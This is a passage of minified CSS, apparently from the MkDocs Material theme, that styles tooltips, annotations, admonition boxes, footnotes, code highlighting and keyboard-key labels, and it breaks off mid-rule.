pulse{0%{transform:scale(.95)}75%{transform:scale(1)}to{transform:scale(.95)}}:root{--md-annotation-bg-icon:url('data:image/svg+xml;charset=utf-8,');--md-annotation-icon:url('data:image/svg+xml;charset=utf-8,')}.md-tooltip{-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color);font-family:var(--md-text-font-family);left:clamp(var(--md-tooltip-0,0rem) + .8rem,var(--md-tooltip-x),100vw + var(--md-tooltip-0,0rem) + .8rem - var(--md-tooltip-width) - 2 * .8rem);max-width:calc(100vw - 1.6rem);opacity:0;position:absolute;top:var(--md-tooltip-y);transform:translateY(-.4rem);transition:transform 0ms .25s,opacity .25s,z-index .25s;width:var(--md-tooltip-width);z-index:0}.md-tooltip--active{opacity:1;transform:translateY(0);transition:transform .25s cubic-bezier(.1,.7,.1,1),opacity .25s,z-index 0ms;z-index:2}.md-tooltip--inline{font-weight:700;-webkit-user-select:none;user-select:none;width:auto}.md-tooltip--inline:not(.md-tooltip--active){transform:translateY(.2rem) scale(.9)}.md-tooltip--inline .md-tooltip__inner{font-size:.5rem;padding:.2rem .4rem}[hidden]+.md-tooltip--inline{display:none}.focus-visible>.md-tooltip,.md-tooltip:target{outline:var(--md-accent-fg-color) auto}.md-tooltip__inner{font-size:.64rem;padding:.8rem}.md-tooltip__inner.md-typeset>:first-child{margin-top:0}.md-tooltip__inner.md-typeset>:last-child{margin-bottom:0}.md-annotation{font-style:normal;font-weight:400;outline:none;text-align:initial;vertical-align:text-bottom;white-space:normal}[dir=rtl] .md-annotation{direction:rtl}code .md-annotation{font-family:var(--md-code-font-family);font-size:inherit}.md-annotation:not([hidden]){display:inline-block;line-height:1.25}.md-annotation__index{border-radius:.01px;cursor:pointer;display:inline-block;margin-left:.4ch;margin-right:.4ch;outline:none;overflow:hidden;position:relative;-webkit-user-select:none;user-select:none;vertical-align:text-top;z-index:0}.md-annotation .md-annotation__index{transition:z-index .25s}@media screen{.md-annotation__index{width:2.2ch}[data-md-visible]>.md-annotation__index{animation:pulse 2s infinite}.md-annotation__index:before{background:var(--md-default-bg-color);-webkit-mask-image:var(--md-annotation-bg-icon);mask-image:var(--md-annotation-bg-icon)}.md-annotation__index:after,.md-annotation__index:before{content:"";height:2.2ch;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:-.1ch;width:2.2ch;z-index:-1}.md-annotation__index:after{background-color:var(--md-default-fg-color--lighter);-webkit-mask-image:var(--md-annotation-icon);mask-image:var(--md-annotation-icon);transform:scale(1.0001);transition:background-color .25s,transform .25s}.md-tooltip--active+.md-annotation__index:after{transform:rotate(45deg)}.md-tooltip--active+.md-annotation__index:after,:hover>.md-annotation__index:after{background-color:var(--md-accent-fg-color)}}.md-tooltip--active+.md-annotation__index{animation-play-state:paused;transition-duration:0ms;z-index:2}.md-annotation__index [data-md-annotation-id]{display:inline-block}@media print{.md-annotation__index [data-md-annotation-id]{background:var(--md-default-fg-color--lighter);border-radius:2ch;color:var(--md-default-bg-color);font-weight:700;padding:0 .6ch;white-space:nowrap}.md-annotation__index [data-md-annotation-id]:after{content:attr(data-md-annotation-id)}}.md-typeset .md-annotation-list{counter-reset:xxx;list-style:none}.md-typeset .md-annotation-list li{position:relative}[dir=ltr] .md-typeset .md-annotation-list li:before{left:-2.125em}[dir=rtl] .md-typeset .md-annotation-list li:before{right:-2.125em}.md-typeset .md-annotation-list li:before{background:var(--md-default-fg-color--lighter);border-radius:2ch;color:var(--md-default-bg-color);content:counter(xxx);counter-increment:xxx;font-size:.8875em;font-weight:700;height:2ch;line-height:1.25;min-width:2ch;padding:0 .6ch;position:absolute;text-align:center;top:.25em}:root{--md-tooltip-width:20rem;--md-tooltip-tail:0.3rem}.md-tooltip2{-webkit-backface-visibility:hidden;backface-visibility:hidden;color:var(--md-default-fg-color);font-family:var(--md-text-font-family);opacity:0;pointer-events:none;position:absolute;top:calc(var(--md-tooltip-host-y) + var(--md-tooltip-y));transform:translateY(-.4rem);transform-origin:calc(var(--md-tooltip-host-x) + var(--md-tooltip-x)) 0;transition:transform 0ms .25s,opacity .25s,z-index .25s;width:100%;z-index:0}.md-tooltip2:before{border-left:var(--md-tooltip-tail) solid #0000;border-right:var(--md-tooltip-tail) solid #0000;content:"";display:block;left:clamp(1.5 * .8rem,var(--md-tooltip-host-x) + var(--md-tooltip-x) - var(--md-tooltip-tail),100vw - 2 * var(--md-tooltip-tail) - 1.5 * .8rem);position:absolute;z-index:1}.md-tooltip2--top:before{border-top:var(--md-tooltip-tail) solid var(--md-default-bg-color);bottom:calc(var(--md-tooltip-tail)*-1 + .025rem);filter:drop-shadow(0 1px 0 hsla(0,0%,0%,.05))}.md-tooltip2--bottom:before{border-bottom:var(--md-tooltip-tail) solid var(--md-default-bg-color);filter:drop-shadow(0 -1px 0 hsla(0,0%,0%,.05));top:calc(var(--md-tooltip-tail)*-1 + .025rem)}.md-tooltip2--active{opacity:1;transform:translateY(0);transition:transform .4s cubic-bezier(0,1,.5,1),opacity .25s,z-index 0ms;z-index:2}.md-tooltip2__inner{scrollbar-gutter:stable;background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);left:clamp(.8rem,var(--md-tooltip-host-x) - .8rem,100vw - var(--md-tooltip-width) - .8rem);max-height:40vh;max-width:calc(100vw - 1.6rem);position:relative;scrollbar-width:thin}.md-tooltip2__inner::-webkit-scrollbar{height:.2rem;width:.2rem}.md-tooltip2__inner::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-tooltip2__inner::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}[role=tooltip]>.md-tooltip2__inner{font-size:.5rem;font-weight:700;left:clamp(.8rem,var(--md-tooltip-host-x) + var(--md-tooltip-x) - var(--md-tooltip-width)/2,100vw - var(--md-tooltip-width) - .8rem);max-width:min(100vw - 2 * .8rem,400px);padding:.2rem .4rem;-webkit-user-select:none;user-select:none;width:-moz-fit-content;width:fit-content}.md-tooltip2__inner.md-typeset>:first-child{margin-top:0}.md-tooltip2__inner.md-typeset>:last-child{margin-bottom:0}[dir=ltr] .md-top{margin-left:50%}[dir=rtl] .md-top{margin-right:50%}.md-top{background-color:var(--md-default-bg-color);border-radius:1.6rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color--light);cursor:pointer;display:block;font-size:.7rem;outline:none;padding:.4rem .8rem;position:fixed;top:3.2rem;transform:translate(-50%);transition:color 125ms,background-color 125ms,transform 125ms cubic-bezier(.4,0,.2,1),opacity 125ms;z-index:2}@media print{.md-top{display:none}}[dir=rtl] .md-top{transform:translate(50%)}.md-top[hidden]{opacity:0;pointer-events:none;transform:translate(-50%,.2rem);transition-duration:0ms}[dir=rtl] .md-top[hidden]{transform:translate(50%,.2rem)}.md-top:focus,.md-top:hover{background-color:var(--md-accent-fg-color);color:var(--md-accent-bg-color)}.md-top svg{display:inline-block;vertical-align:-.5em}@keyframes hoverfix{0%{pointer-events:none}}:root{--md-version-icon:url('data:image/svg+xml;charset=utf-8,')}.md-version{flex-shrink:0;font-size:.8rem;height:2.4rem}[dir=ltr] .md-version__current{margin-left:1.4rem;margin-right:.4rem}[dir=rtl] .md-version__current{margin-left:.4rem;margin-right:1.4rem}.md-version__current{color:inherit;cursor:pointer;outline:none;position:relative;top:.05rem}[dir=ltr] .md-version__current:after{margin-left:.4rem}[dir=rtl] .md-version__current:after{margin-right:.4rem}.md-version__current:after{background-color:currentcolor;content:"";display:inline-block;height:.6rem;-webkit-mask-image:var(--md-version-icon);mask-image:var(--md-version-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:.4rem}.md-version__alias{margin-left:.3rem;opacity:.7}.md-version__list{background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color);list-style-type:none;margin:.2rem .8rem;max-height:0;opacity:0;overflow:auto;padding:0;position:absolute;scroll-snap-type:y mandatory;top:.15rem;transition:max-height 0ms .5s,opacity .25s .25s;z-index:3}.md-version:focus-within .md-version__list,.md-version:hover .md-version__list{max-height:10rem;opacity:1;transition:max-height 0ms,opacity .25s}@media (hover:none),(pointer:coarse){.md-version:hover .md-version__list{animation:hoverfix .25s forwards}.md-version:focus-within .md-version__list{animation:none}}.md-version__item{line-height:1.8rem}[dir=ltr] .md-version__link{padding-left:.6rem;padding-right:1.2rem}[dir=rtl] .md-version__link{padding-left:1.2rem;padding-right:.6rem}.md-version__link{cursor:pointer;display:block;outline:none;scroll-snap-align:start;transition:color .25s,background-color .25s;white-space:nowrap;width:100%}.md-version__link:focus,.md-version__link:hover{color:var(--md-accent-fg-color)}.md-version__link:focus{background-color:var(--md-default-fg-color--lightest)}:root{--md-admonition-icon--note:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--abstract:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--info:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--tip:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--success:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--question:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--warning:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--failure:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--danger:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--bug:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--example:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--quote:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .admonition,.md-typeset details{background-color:var(--md-admonition-bg-color);border:.075rem solid #448aff;border-radius:.2rem;box-shadow:var(--md-shadow-z1);color:var(--md-admonition-fg-color);display:flow-root;font-size:.64rem;margin:1.5625em 0;padding:0 .6rem;page-break-inside:avoid;transition:box-shadow 125ms}@media print{.md-typeset .admonition,.md-typeset details{box-shadow:none}}.md-typeset .admonition:focus-within,.md-typeset details:focus-within{box-shadow:0 0 0 .2rem #448aff1a}.md-typeset .admonition>*,.md-typeset details>*{box-sizing:border-box}.md-typeset .admonition .admonition,.md-typeset .admonition details,.md-typeset details .admonition,.md-typeset details details{margin-bottom:1em;margin-top:1em}.md-typeset .admonition .md-typeset__scrollwrap,.md-typeset details .md-typeset__scrollwrap{margin:1em -.6rem}.md-typeset .admonition .md-typeset__table,.md-typeset details .md-typeset__table{padding:0 .6rem}.md-typeset .admonition>.tabbed-set:only-child,.md-typeset details>.tabbed-set:only-child{margin-top:0}html .md-typeset .admonition>:last-child,html .md-typeset details>:last-child{margin-bottom:.6rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary{padding-left:2rem;padding-right:.6rem}[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{padding-left:.6rem;padding-right:2rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary{border-left-width:.2rem}[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{border-right-width:.2rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary{border-top-left-radius:.1rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary,[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{border-top-right-radius:.1rem}[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{border-top-left-radius:.1rem}.md-typeset .admonition-title,.md-typeset summary{background-color:#448aff1a;border:none;font-weight:700;margin:0 -.6rem;padding-bottom:.4rem;padding-top:.4rem;position:relative}html .md-typeset .admonition-title:last-child,html .md-typeset summary:last-child{margin-bottom:0}[dir=ltr] .md-typeset .admonition-title:before,[dir=ltr] .md-typeset summary:before{left:.6rem}[dir=rtl] .md-typeset .admonition-title:before,[dir=rtl] .md-typeset summary:before{right:.6rem}.md-typeset .admonition-title:before,.md-typeset summary:before{background-color:#448aff;content:"";height:1rem;-webkit-mask-image:var(--md-admonition-icon--note);mask-image:var(--md-admonition-icon--note);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.625em;width:1rem}.md-typeset .admonition-title code,.md-typeset summary code{box-shadow:0 0 0 .05rem var(--md-default-fg-color--lightest)}.md-typeset .admonition.note,.md-typeset details.note{border-color:#448aff}.md-typeset .admonition.note:focus-within,.md-typeset details.note:focus-within{box-shadow:0 0 0 .2rem #448aff1a}.md-typeset .note>.admonition-title,.md-typeset .note>summary{background-color:#448aff1a}.md-typeset .note>.admonition-title:before,.md-typeset .note>summary:before{background-color:#448aff;-webkit-mask-image:var(--md-admonition-icon--note);mask-image:var(--md-admonition-icon--note)}.md-typeset .note>.admonition-title:after,.md-typeset .note>summary:after{color:#448aff}.md-typeset .admonition.abstract,.md-typeset details.abstract{border-color:#00b0ff}.md-typeset .admonition.abstract:focus-within,.md-typeset details.abstract:focus-within{box-shadow:0 0 0 .2rem #00b0ff1a}.md-typeset .abstract>.admonition-title,.md-typeset .abstract>summary{background-color:#00b0ff1a}.md-typeset .abstract>.admonition-title:before,.md-typeset .abstract>summary:before{background-color:#00b0ff;-webkit-mask-image:var(--md-admonition-icon--abstract);mask-image:var(--md-admonition-icon--abstract)}.md-typeset .abstract>.admonition-title:after,.md-typeset .abstract>summary:after{color:#00b0ff}.md-typeset .admonition.info,.md-typeset details.info{border-color:#00b8d4}.md-typeset .admonition.info:focus-within,.md-typeset details.info:focus-within{box-shadow:0 0 0 .2rem #00b8d41a}.md-typeset .info>.admonition-title,.md-typeset .info>summary{background-color:#00b8d41a}.md-typeset .info>.admonition-title:before,.md-typeset .info>summary:before{background-color:#00b8d4;-webkit-mask-image:var(--md-admonition-icon--info);mask-image:var(--md-admonition-icon--info)}.md-typeset .info>.admonition-title:after,.md-typeset .info>summary:after{color:#00b8d4}.md-typeset .admonition.tip,.md-typeset details.tip{border-color:#00bfa5}.md-typeset .admonition.tip:focus-within,.md-typeset details.tip:focus-within{box-shadow:0 0 0 .2rem #00bfa51a}.md-typeset .tip>.admonition-title,.md-typeset .tip>summary{background-color:#00bfa51a}.md-typeset .tip>.admonition-title:before,.md-typeset .tip>summary:before{background-color:#00bfa5;-webkit-mask-image:var(--md-admonition-icon--tip);mask-image:var(--md-admonition-icon--tip)}.md-typeset .tip>.admonition-title:after,.md-typeset .tip>summary:after{color:#00bfa5}.md-typeset .admonition.success,.md-typeset details.success{border-color:#00c853}.md-typeset .admonition.success:focus-within,.md-typeset details.success:focus-within{box-shadow:0 0 0 .2rem #00c8531a}.md-typeset .success>.admonition-title,.md-typeset .success>summary{background-color:#00c8531a}.md-typeset .success>.admonition-title:before,.md-typeset .success>summary:before{background-color:#00c853;-webkit-mask-image:var(--md-admonition-icon--success);mask-image:var(--md-admonition-icon--success)}.md-typeset .success>.admonition-title:after,.md-typeset .success>summary:after{color:#00c853}.md-typeset .admonition.question,.md-typeset details.question{border-color:#64dd17}.md-typeset .admonition.question:focus-within,.md-typeset details.question:focus-within{box-shadow:0 0 0 .2rem #64dd171a}.md-typeset .question>.admonition-title,.md-typeset .question>summary{background-color:#64dd171a}.md-typeset .question>.admonition-title:before,.md-typeset .question>summary:before{background-color:#64dd17;-webkit-mask-image:var(--md-admonition-icon--question);mask-image:var(--md-admonition-icon--question)}.md-typeset .question>.admonition-title:after,.md-typeset .question>summary:after{color:#64dd17}.md-typeset .admonition.warning,.md-typeset details.warning{border-color:#ff9100}.md-typeset .admonition.warning:focus-within,.md-typeset details.warning:focus-within{box-shadow:0 0 0 .2rem #ff91001a}.md-typeset .warning>.admonition-title,.md-typeset .warning>summary{background-color:#ff91001a}.md-typeset .warning>.admonition-title:before,.md-typeset .warning>summary:before{background-color:#ff9100;-webkit-mask-image:var(--md-admonition-icon--warning);mask-image:var(--md-admonition-icon--warning)}.md-typeset .warning>.admonition-title:after,.md-typeset .warning>summary:after{color:#ff9100}.md-typeset .admonition.failure,.md-typeset details.failure{border-color:#ff5252}.md-typeset .admonition.failure:focus-within,.md-typeset details.failure:focus-within{box-shadow:0 0 0 .2rem #ff52521a}.md-typeset .failure>.admonition-title,.md-typeset .failure>summary{background-color:#ff52521a}.md-typeset .failure>.admonition-title:before,.md-typeset .failure>summary:before{background-color:#ff5252;-webkit-mask-image:var(--md-admonition-icon--failure);mask-image:var(--md-admonition-icon--failure)}.md-typeset .failure>.admonition-title:after,.md-typeset .failure>summary:after{color:#ff5252}.md-typeset .admonition.danger,.md-typeset details.danger{border-color:#ff1744}.md-typeset .admonition.danger:focus-within,.md-typeset details.danger:focus-within{box-shadow:0 0 0 .2rem #ff17441a}.md-typeset .danger>.admonition-title,.md-typeset .danger>summary{background-color:#ff17441a}.md-typeset .danger>.admonition-title:before,.md-typeset .danger>summary:before{background-color:#ff1744;-webkit-mask-image:var(--md-admonition-icon--danger);mask-image:var(--md-admonition-icon--danger)}.md-typeset .danger>.admonition-title:after,.md-typeset .danger>summary:after{color:#ff1744}.md-typeset .admonition.bug,.md-typeset details.bug{border-color:#f50057}.md-typeset .admonition.bug:focus-within,.md-typeset details.bug:focus-within{box-shadow:0 0 0 .2rem #f500571a}.md-typeset .bug>.admonition-title,.md-typeset .bug>summary{background-color:#f500571a}.md-typeset .bug>.admonition-title:before,.md-typeset .bug>summary:before{background-color:#f50057;-webkit-mask-image:var(--md-admonition-icon--bug);mask-image:var(--md-admonition-icon--bug)}.md-typeset .bug>.admonition-title:after,.md-typeset .bug>summary:after{color:#f50057}.md-typeset .admonition.example,.md-typeset details.example{border-color:#7c4dff}.md-typeset .admonition.example:focus-within,.md-typeset details.example:focus-within{box-shadow:0 0 0 .2rem #7c4dff1a}.md-typeset .example>.admonition-title,.md-typeset .example>summary{background-color:#7c4dff1a}.md-typeset .example>.admonition-title:before,.md-typeset .example>summary:before{background-color:#7c4dff;-webkit-mask-image:var(--md-admonition-icon--example);mask-image:var(--md-admonition-icon--example)}.md-typeset .example>.admonition-title:after,.md-typeset .example>summary:after{color:#7c4dff}.md-typeset .admonition.quote,.md-typeset details.quote{border-color:#9e9e9e}.md-typeset .admonition.quote:focus-within,.md-typeset details.quote:focus-within{box-shadow:0 0 0 .2rem #9e9e9e1a}.md-typeset .quote>.admonition-title,.md-typeset .quote>summary{background-color:#9e9e9e1a}.md-typeset .quote>.admonition-title:before,.md-typeset .quote>summary:before{background-color:#9e9e9e;-webkit-mask-image:var(--md-admonition-icon--quote);mask-image:var(--md-admonition-icon--quote)}.md-typeset .quote>.admonition-title:after,.md-typeset .quote>summary:after{color:#9e9e9e}:root{--md-footnotes-icon:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .footnote{color:var(--md-default-fg-color--light);font-size:.64rem}[dir=ltr] .md-typeset .footnote>ol{margin-left:0}[dir=rtl] .md-typeset .footnote>ol{margin-right:0}.md-typeset .footnote>ol>li{transition:color 125ms}.md-typeset .footnote>ol>li:target{color:var(--md-default-fg-color)}.md-typeset .footnote>ol>li:focus-within .footnote-backref{opacity:1;transform:translateX(0);transition:none}.md-typeset .footnote>ol>li:hover .footnote-backref,.md-typeset .footnote>ol>li:target .footnote-backref{opacity:1;transform:translateX(0)}.md-typeset .footnote>ol>li>:first-child{margin-top:0}.md-typeset .footnote-ref{font-size:.75em;font-weight:700}html .md-typeset .footnote-ref{outline-offset:.1rem}.md-typeset [id^="fnref:"]:target>.footnote-ref{outline:auto}.md-typeset .footnote-backref{color:var(--md-typeset-a-color);display:inline-block;font-size:0;opacity:0;transform:translateX(.25rem);transition:color .25s,transform .25s .25s,opacity 125ms .25s;vertical-align:text-bottom}@media print{.md-typeset .footnote-backref{color:var(--md-typeset-a-color);opacity:1;transform:translateX(0)}}[dir=rtl] .md-typeset .footnote-backref{transform:translateX(-.25rem)}.md-typeset .footnote-backref:hover{color:var(--md-accent-fg-color)}.md-typeset .footnote-backref:before{background-color:currentcolor;content:"";display:inline-block;height:.8rem;-webkit-mask-image:var(--md-footnotes-icon);mask-image:var(--md-footnotes-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:.8rem}[dir=rtl] .md-typeset .footnote-backref:before svg{transform:scaleX(-1)}[dir=ltr] .md-typeset .headerlink{margin-left:.5rem}[dir=rtl] .md-typeset .headerlink{margin-right:.5rem}.md-typeset .headerlink{color:var(--md-default-fg-color--lighter);display:inline-block;opacity:0;transition:color .25s,opacity 125ms}@media print{.md-typeset .headerlink{display:none}}.md-typeset .headerlink:focus,.md-typeset :hover>.headerlink,.md-typeset :target>.headerlink{opacity:1;transition:color .25s,opacity 125ms}.md-typeset .headerlink:focus,.md-typeset .headerlink:hover,.md-typeset :target>.headerlink{color:var(--md-accent-fg-color)}.md-typeset :target{--md-scroll-margin:3.6rem;--md-scroll-offset:0rem;scroll-margin-top:calc(var(--md-scroll-margin) - var(--md-scroll-offset))}@media screen and (min-width:76.25em){.md-header--lifted~.md-container .md-typeset :target{--md-scroll-margin:6rem}}.md-typeset h1:target,.md-typeset h2:target,.md-typeset h3:target{--md-scroll-offset:0.2rem}.md-typeset h4:target{--md-scroll-offset:0.15rem}.md-typeset div.arithmatex{overflow:auto}@media screen and (max-width:44.984375em){.md-typeset div.arithmatex{margin:0 -.8rem}.md-typeset div.arithmatex>*{width:min-content}}.md-typeset div.arithmatex>*{margin-left:auto!important;margin-right:auto!important;padding:0 .8rem;touch-action:auto}.md-typeset div.arithmatex>* mjx-container{margin:0!important}.md-typeset div.arithmatex mjx-assistive-mml{height:0}.md-typeset del.critic{background-color:var(--md-typeset-del-color)}.md-typeset del.critic,.md-typeset ins.critic{-webkit-box-decoration-break:clone;box-decoration-break:clone}.md-typeset ins.critic{background-color:var(--md-typeset-ins-color)}.md-typeset .critic.comment{-webkit-box-decoration-break:clone;box-decoration-break:clone;color:var(--md-code-hl-comment-color)}.md-typeset .critic.comment:before{content:"/* "}.md-typeset .critic.comment:after{content:" */"}.md-typeset .critic.block{box-shadow:none;display:block;margin:1em 0;overflow:auto;padding-left:.8rem;padding-right:.8rem}.md-typeset .critic.block>:first-child{margin-top:.5em}.md-typeset .critic.block>:last-child{margin-bottom:.5em}:root{--md-details-icon:url('data:image/svg+xml;charset=utf-8,')}.md-typeset details{display:flow-root;overflow:visible;padding-top:0}.md-typeset details[open]>summary:after{transform:rotate(90deg)}.md-typeset details:not([open]){box-shadow:none;padding-bottom:0}.md-typeset details:not([open])>summary{border-radius:.1rem}[dir=ltr] .md-typeset summary{padding-right:1.8rem}[dir=rtl] .md-typeset summary{padding-left:1.8rem}[dir=ltr] .md-typeset summary{border-top-left-radius:.1rem}[dir=ltr] .md-typeset summary,[dir=rtl] .md-typeset summary{border-top-right-radius:.1rem}[dir=rtl] .md-typeset summary{border-top-left-radius:.1rem}.md-typeset summary{cursor:pointer;display:block;min-height:1rem;overflow:hidden}.md-typeset summary.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-typeset summary:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}[dir=ltr] .md-typeset summary:after{right:.4rem}[dir=rtl] .md-typeset summary:after{left:.4rem}.md-typeset summary:after{background-color:currentcolor;content:"";height:1rem;-webkit-mask-image:var(--md-details-icon);mask-image:var(--md-details-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.625em;transform:rotate(0deg);transition:transform .25s;width:1rem}[dir=rtl] .md-typeset summary:after{transform:rotate(180deg)}.md-typeset summary::marker{display:none}.md-typeset summary::-webkit-details-marker{display:none}.md-typeset .emojione,.md-typeset .gemoji,.md-typeset .twemoji{--md-icon-size:1.125em;display:inline-flex;height:var(--md-icon-size);vertical-align:text-top}.md-typeset .emojione svg,.md-typeset .gemoji svg,.md-typeset .twemoji svg{fill:currentcolor;max-height:100%;width:var(--md-icon-size)}.md-typeset .lg,.md-typeset .xl,.md-typeset .xxl,.md-typeset .xxxl{vertical-align:text-bottom}.md-typeset .middle{vertical-align:middle}.md-typeset .lg{--md-icon-size:1.5em}.md-typeset .xl{--md-icon-size:2.25em}.md-typeset .xxl{--md-icon-size:3em}.md-typeset .xxxl{--md-icon-size:4em}.highlight .o,.highlight .ow{color:var(--md-code-hl-operator-color)}.highlight .p{color:var(--md-code-hl-punctuation-color)}.highlight .cpf,.highlight .l,.highlight .s,.highlight .s1,.highlight .s2,.highlight .sb,.highlight .sc,.highlight .si,.highlight .ss{color:var(--md-code-hl-string-color)}.highlight .cp,.highlight .se,.highlight .sh,.highlight .sr,.highlight .sx{color:var(--md-code-hl-special-color)}.highlight .il,.highlight .m,.highlight .mb,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo{color:var(--md-code-hl-number-color)}.highlight .k,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr,.highlight .kt{color:var(--md-code-hl-keyword-color)}.highlight .kc,.highlight .n{color:var(--md-code-hl-name-color)}.highlight .bp,.highlight .nb,.highlight .no{color:var(--md-code-hl-constant-color)}.highlight .nc,.highlight .ne,.highlight .nf,.highlight .nn{color:var(--md-code-hl-function-color)}.highlight .nd,.highlight .ni,.highlight .nl,.highlight .nt{color:var(--md-code-hl-keyword-color)}.highlight .c,.highlight .c1,.highlight .ch,.highlight .cm,.highlight .cs,.highlight .sd{color:var(--md-code-hl-comment-color)}.highlight .na,.highlight .nv,.highlight .vc,.highlight .vg,.highlight .vi{color:var(--md-code-hl-variable-color)}.highlight .ge,.highlight .gh,.highlight .go,.highlight .gp,.highlight .gr,.highlight .gs,.highlight .gt,.highlight .gu{color:var(--md-code-hl-generic-color)}.highlight .gd,.highlight .gi{border-radius:.1rem;margin:0 -.125em;padding:0 .125em}.highlight .gd{background-color:var(--md-typeset-del-color)}.highlight .gi{background-color:var(--md-typeset-ins-color)}.highlight .hll{background-color:var(--md-code-hl-color--light);box-shadow:2px 0 0 0 var(--md-code-hl-color) inset;display:block;margin:0 -1.1764705882em;padding:0 1.1764705882em}.highlight span.filename{background-color:var(--md-code-bg-color);border-bottom:.05rem solid var(--md-default-fg-color--lightest);border-top-left-radius:.1rem;border-top-right-radius:.1rem;display:flow-root;font-size:.85em;font-weight:700;margin-top:1em;padding:.6617647059em 1.1764705882em;position:relative}.highlight span.filename+pre{margin-top:0}.highlight span.filename+pre>code{border-top-left-radius:0;border-top-right-radius:0}.highlight [data-linenos]:before{background-color:var(--md-code-bg-color);box-shadow:-.05rem 0 var(--md-default-fg-color--lightest) inset;color:var(--md-default-fg-color--light);content:attr(data-linenos);float:left;left:-1.1764705882em;margin-left:-1.1764705882em;margin-right:1.1764705882em;padding-left:1.1764705882em;position:sticky;-webkit-user-select:none;user-select:none;z-index:3}.highlight code a[id]{position:absolute;visibility:hidden}.highlight code[data-md-copying]{display:initial}.highlight code[data-md-copying] .hll{display:contents}.highlight code[data-md-copying] .md-annotation{display:none}.highlighttable{display:flow-root}.highlighttable tbody,.highlighttable td{display:block;padding:0}.highlighttable tr{display:flex}.highlighttable pre{margin:0}.highlighttable th.filename{flex-grow:1;padding:0;text-align:left}.highlighttable th.filename span.filename{margin-top:0}.highlighttable .linenos{background-color:var(--md-code-bg-color);border-bottom-left-radius:.1rem;border-top-left-radius:.1rem;font-size:.85em;padding:.7720588235em 0 .7720588235em 1.1764705882em;-webkit-user-select:none;user-select:none}.highlighttable .linenodiv{box-shadow:-.05rem 0 var(--md-default-fg-color--lightest) inset;padding-right:.5882352941em}.highlighttable .linenodiv pre{color:var(--md-default-fg-color--light);text-align:right}.highlighttable .code{flex:1;min-width:0}.linenodiv a{color:inherit}.md-typeset .highlighttable{direction:ltr;margin:1em 0}.md-typeset .highlighttable>tbody>tr>.code>div>pre>code{border-bottom-left-radius:0;border-top-left-radius:0}.md-typeset .highlight+.result{border:.05rem solid var(--md-code-bg-color);border-bottom-left-radius:.1rem;border-bottom-right-radius:.1rem;border-top-width:.1rem;margin-top:-1.125em;overflow:visible;padding:0 1em}.md-typeset .highlight+.result:after{clear:both;content:"";display:block}@media screen and (max-width:44.984375em){.md-content__inner>.highlight{margin:1em -.8rem}.md-content__inner>.highlight>.filename,.md-content__inner>.highlight>.highlighttable>tbody>tr>.code>div>pre>code,.md-content__inner>.highlight>.highlighttable>tbody>tr>.filename span.filename,.md-content__inner>.highlight>.highlighttable>tbody>tr>.linenos,.md-content__inner>.highlight>pre>code{border-radius:0}.md-content__inner>.highlight+.result{border-left-width:0;border-radius:0;border-right-width:0;margin-left:-.8rem;margin-right:-.8rem}}.md-typeset .keys kbd:after,.md-typeset .keys kbd:before{-moz-osx-font-smoothing:initial;-webkit-font-smoothing:initial;color:inherit;margin:0;position:relative}.md-typeset .keys span{color:var(--md-default-fg-color--light);padding:0 .2em}.md-typeset .keys .key-alt:before,.md-typeset .keys .key-left-alt:before,.md-typeset .keys .key-right-alt:before{content:"⎇";padding-right:.4em}.md-typeset .keys .key-command:before,.md-typeset .keys .key-left-command:before,.md-typeset .keys .key-right-command:before{content:"⌘";padding-right:.4em}.md-typeset .keys .key-control:before,.md-typeset .keys .key-left-control:before,.md-typeset .keys .key-right-control:before{content:"⌃";padding-right:.4em}.md-typeset .keys .key-left-meta:before,.md-typeset .keys .key-meta:before,.md-typeset .keys .key-right-meta:before{content:"◆";padding-right:.4em}.md-typeset .keys .key-left-option:before,.md-typeset .keys .key-option:before,.md-typeset .keys 